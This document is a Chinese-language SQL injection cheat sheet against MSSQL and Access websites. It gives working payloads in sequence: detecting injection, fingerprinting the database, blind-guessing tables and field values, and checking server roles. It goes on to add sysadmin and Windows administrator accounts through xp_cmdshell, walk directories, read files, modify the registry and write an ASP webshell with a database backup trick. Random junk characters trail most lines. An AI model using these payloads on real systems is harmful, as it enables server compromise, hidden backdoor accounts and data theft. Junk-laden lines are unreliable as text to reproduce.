1.判断是否有注入;and 1=1 ;and 1=2 EbMG9
2.初步判断是否是mssql ;and user>0 b";D*\=x
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3.注入参数是字符'and [查询条件] and ''=' Jpr`E&%I6
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' t{o&$s93
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5.判断数据库系统 yvt
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;and (select count(*) from sysobjects)>0 mssql J6J|&Z~UT,
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;and (select count(*) from msysobjects)>0 access {B)-+0 6
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 @;g|styh^
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 0mY KzJi
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 H3Sfz'
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9.(1)猜字段的ascii值(access) Y0ouLUlI
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ^>tqg^
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(2)猜字段的ascii值(mssql) Nc[[o>/Cb
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ,'^^OLez
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10.测试权限结构(mssql) I>(-&YbC
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Yo a|.2f
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- jp viX#\S_
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- T<S_C$O
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- k(%h{0'
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- E;)7#3gY1
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;and 1=(select IS_MEMBER('db_owner'));-- 4Up\_
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11.添加mssql和系统的帐户 !a<}Mpeg
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;exec master.dbo.sp_addlogin username;-- 9#D?wR#J=
;exec master.dbo.sp_password null,username,password;-- oH]"F
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- yjB.-o('
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;exec master.dbo.xp_cmdshell 'net user username password f<}>*xH/k
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- i\94e{uty[
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- LG>lj$hO
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- <[w>Mbqj_
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12.(1)遍历目录 J sc`^a%`'
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;create table dirs(paths varchar(100), id int) '>0rp\jC
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;insert dirs exec master.dbo.xp_dirtree 'c:\' `6B jNV
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;and (select top 1 paths from dirs)>0 "j] r
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) t)h{ w"v
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(2)遍历目录 }"o,j>IP
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- UKfpoDhEe
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 A<|]>[ax
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 l
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 .W1i3Z 6g
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 b am*&E%0K
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13.mssql中的存储过程 oNK-^N?-T
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xp_regenumvalues 注册表根键, 子键 "{Jq6):mp
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 pR*)\@ma
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xp_regread 根键,子键,键值名 3El5g0'G
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 wS%aN@ay3
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xp_regwrite 根键,子键, 值名, 值类型, 值 >y7|@'V[v0
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 l
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xp_regdeletevalue 根键,子键,值名 $yY\[C
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 +rcDA|
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 >t Ll|O+
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14.mssql的backup创建webshell _(.,<R5
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use model >L {s[pLJ
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create table cmd(str image); 8R;A5o,
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insert into cmd(str) values (''); t3b64J[A{
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backup database model to disk='c:\l.asp'; &9:"X
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15.mssql内置函数 X
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;and (select @@version)>0 获得Windows的版本号 5oP31
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2&Hn%q)
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;and (select user_name())>0 爆当前系统的连接用户 d5z?QI
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;and (select db_name())>0 得到当前连接的数据库 eO?.8OM-a
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16.简洁的webshell JE$aYs<(TF
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use model j4hiMI;
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create table cmd(str image); /Q8glLnM
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insert into cmd(str) values (''); +>,4d
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backup database model to disk='g:\wwwtest\l.asp';